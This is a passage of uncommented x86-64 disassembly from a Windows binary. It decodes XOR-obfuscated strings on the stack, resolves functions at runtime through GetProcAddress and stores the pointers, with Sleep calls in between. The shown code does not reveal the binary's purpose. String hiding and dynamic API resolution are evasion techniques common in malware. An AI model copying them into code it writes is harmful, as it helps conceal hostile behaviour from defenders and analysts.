movaps xmmword [rbp + 0xc00], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xc10], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xc20], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xc30], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xc40], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xc50], xmm0
movabs rax, 0x3be8aa069
mov qword [rbp + 0xa000], rax
movabs rcx, 0x1118b85e48
mov qword [rbp + 0xa008], rcx
movabs rax, 0x3be80ed01
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0x800], xmm0
movaps xmm0, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x810], xmm0
movaps xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x820], xmm1
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0x830], xmm0
lea r8, [rbp + 0xc00]
lea rdx, [rbp + 0x800]
jmp 0x14003d901
mov r13d, dword [rsp + 0x30]
cmp r13d, 0x4a65
jbe 0x14003b988
movabs rax, 0x1b72fda0c6fbc098
mov qword [rbp + 0xa040], rax
movabs rax, 0x670d73942d0089ec
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x7c019692f595a9ef
mov qword [rbp + 0xa060], rax
movabs rax, 0x670d73e75473a788
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x70]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
mov qword [rbp + 0x550], 0
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x560], xmm0
mov byte [rbp + 0x550], 0
lea rax, [rbp + 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14003b944
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x550]
call fcn.14005a030
nop
lea rcx, [rbp + 0x550]
call fcn.140053a00
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x550]
call fcn.14000b160
mov rax, qword [rbp + 0x30]
test rax, rax
je 0x14003b988
mov qword [rdi + 0x10], rax
lea eax, [r13 - 0x4a61]
cmp eax, 4
ja 0x14003bade
movabs rax, 0xee04e8e347c7791
mov qword [rbp + 0xa040], rax
movabs rax, 0x1fa8ba5a9798b8aa
mov qword [rbp + 0xa048], rax
mov qword [rbp + 0xa050], rsi
movabs rcx, 0xe0000000200323d1
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6d8e37fd751a16f6
mov qword [rbp + 0xa080], rax
movabs rax, 0x7adcdb2ec4e1dde1
mov qword [rbp + 0xa088], rax
mov qword [rbp + 0xa090], rsi
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x4010]
lea rcx, [rbp + 0x70]
mov rdx, r15
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003ba61
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea rdx, [rbp + 0x4010]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, qword [rbp - 0x60]
test rax, rax
je 0x14003bae2
sub rax, r12
add rax, r13
mov qword [rdi + 0x10], rax
jmp 0x14003bae2
mov r13, qword [rbp - 0x60]
movabs rax, 0x3035d96dbfbe0c3
mov qword [rbp + 0xa040], rax
movabs rax, 0x777383823cf6ea6d
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x6c702fe3988f90a4
mov qword [rbp + 0xa060], rax
movabs rax, 0x7773e0ec4585ab1f
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0x70], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x80], xmm1
lea rcx, [rbp + 0x33e0]
lea rax, [rbp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rdx, [rbp + 0x33e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14003bbf9
sub rax, r12
add rax, r13
mov qword [rdi + 0x18], rax
movabs rax, 0x11732ff87e8e31c1
mov qword [rbp + 0xa000], rax
movabs rcx, 0x7434e3645a156f3
mov qword [rbp + 0xa008], rcx
movabs rax, 0x117356881de354ac
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp - 0x50], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp - 0x30], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp - 0x10], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x10], xmm1
movabs rax, 0x116cb7966aecdc15
mov qword [rbp + 0xa040], rax
movabs rax, 0x6e4540e6bda0aae6
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x7d02c5fd1983a87b
mov qword [rbp + 0xa060], rax
movabs rax, 0x6e4540e6d8d8cfc8
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x2540]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x2540]
call fcn.1400532e0
mov qword [rdi + 0x40], rax
test rax, rax
jne 0x14003be93
movabs rax, 0x300bf46343e223
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe7e36e4a973e455
mov qword [rbp + 0xa008], rcx
movabs rax, 0x300b860c319066
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0xc60], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xc70], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xc80], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xc90], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xca0], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xcb0], xmm0
movabs rax, 0x1fffffffe44412a8
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe00000001bc38852
mov qword [rbp + 0xa008], rcx
movabs rax, 0x1fffffffe4441899
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x630], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x640], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x650], xmm1
lea r8, [rbp + 0xc60]
lea rdx, [rbp + 0x630]
jmp 0x14003d901
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x1f09a2775e1ac3a4
mov qword [rbp + 0xa040], rax
movabs rax, 0x25358208cf1f6fc0
mov qword [rbp + 0xa048], rax
movabs rax, 0x1d518ad9b961db2f
mov qword [rbp + 0xa050], rax
movabs rax, 0x703bffc8a07e0415
mov qword [rbp + 0xa058], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6f7cc9183156b0f4
mov qword [rbp + 0xa080], rax
movabs rax, 0x6746f16dac701d90
mov qword [rbp + 0xa088], rax
movabs rax, 0x6e22efbad6138b56
mov qword [rbp + 0xa090], rax
movabs rax, 0x703bffc8a07e605c
mov qword [rbp + 0xa098], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x7170]
lea rcx, [rbp + 0x70]
mov rdx, rbx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003bf90
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movabs rax, 0x1214d727a0426bd
mov qword [rbp + 0xa040], rax
movabs rax, 0x76d11e19ab352c5a
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x6d4f3f19096b52d3
mov qword [rbp + 0xa060], rax
movabs rax, 0x76d11e19ce4d4974
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x2610]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x7170]
lea rcx, [rbp + 0x2610]
call fcn.1400532e0
mov qword [rdi + 0x28], rax
test rax, rax
jne 0x14003c217
movabs rax, 0x3414c73db035e4
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe7ed7ced9a9e42b
mov qword [rbp + 0xa008], rcx
movabs rax, 0x3414b552c247a1
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0xcc0], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xcd0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xce0], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xcf0], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xd00], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xd10], xmm0
movabs rax, 0x1fffffffe4a32d2b
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe00000001b3f6fea
mov qword [rbp + 0xa008], rcx
movabs rax, 0x1fffffffe4a32719
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x660], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x670], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x680], xmm1
lea r8, [rbp + 0xcc0]
lea rdx, [rbp + 0x660]
jmp 0x14003d901
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xf204cd93d9b7be7
mov qword [rbp + 0xa040], rax
movabs rax, 0xa896694c996e2ea
mov qword [rbp + 0xa048], rax
movabs rax, 0x35d6e7c67e12
mov qword [rbp + 0xa050], rax
movabs rcx, 0x69d7e0f77d284b0
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x69453ebc79fd19a8
mov qword [rbp + 0xa080], rax
movabs rax, 0x68c603f7a7f3908f
mov qword [rbp + 0xa088], rax
movabs rax, 0x35d693a51b78
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x5220]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003c300
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movabs rax, 0xf1bd0022524f435
mov qword [rbp + 0xa040], rax
movabs rax, 0x61e1590cfb469ab6
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x6375a269564b805b
mov qword [rbp + 0xa060], rax
movabs rax, 0x61e1590c9e3eff98
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x26e0]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x5220]
lea rcx, [rbp + 0x26e0]
call fcn.1400532e0
mov qword [rdi + 0x38], rax
test rax, rax
jne 0x14003c597
movabs rax, 0x32e174f1d65596
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe83e6f0c2422821
mov qword [rbp + 0xa008], rcx
movabs rax, 0x32e1069ea427d3
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0xd20], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xd30], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xd40], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xd50], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xd60], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xd70], xmm0
movabs rax, 0x1fffffffe485a6b3
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe00000001b832f95
mov qword [rbp + 0xa008], rcx
movabs rax, 0x1fffffffe485ac80
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x690], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x6a0], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x6b0], xmm1
lea r8, [rbp + 0xd20]
lea rdx, [rbp + 0x690]
jmp 0x14003d901
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x6b1d391c5c4c5f5
mov qword [rbp + 0xa040], rax
movabs rax, 0x12d8dc5423efd807
mov qword [rbp + 0xa048], rax
mov qword [rbp + 0xa050], rsi
movabs rcx, 0xe00000002003c3d0
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x69d5a7e4ad97b1bb
mov qword [rbp + 0xa080], rax
movabs rax, 0x7fbda8275abcb670
mov qword [rbp + 0xa088], rax
mov qword [rbp + 0xa090], rsi
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x4120]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003c670
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movabs rax, 0xda75ed6e4e6f3fd
mov qword [rbp + 0xa040], rax
movabs rax, 0x75feef03b6b2953a
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x61c92cbd97898793
mov qword [rbp + 0xa060], rax
movabs rax, 0x75feef03d3caf014
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x27b0]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x27b0]
call fcn.1400532e0
mov qword [rdi + 0x20], rax
test rax, rax
jne 0x14003c8e7
movabs rax, 0x335df32fd7a5a7
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe82a80781f6f86f
mov qword [rbp + 0xa008], rcx
movabs rax, 0x335d8140a5d7e2
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0xd80], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xd90], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xda0], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xdb0], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xdc0], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xdd0], xmm0
movabs rax, 0x1fffffffe493dd62
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe00000001b0e630e
mov qword [rbp + 0xa008], rcx
movabs rax, 0x1fffffffe493d756
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x6c0], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x6d0], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x6e0], xmm1
lea r8, [rbp + 0xd80]
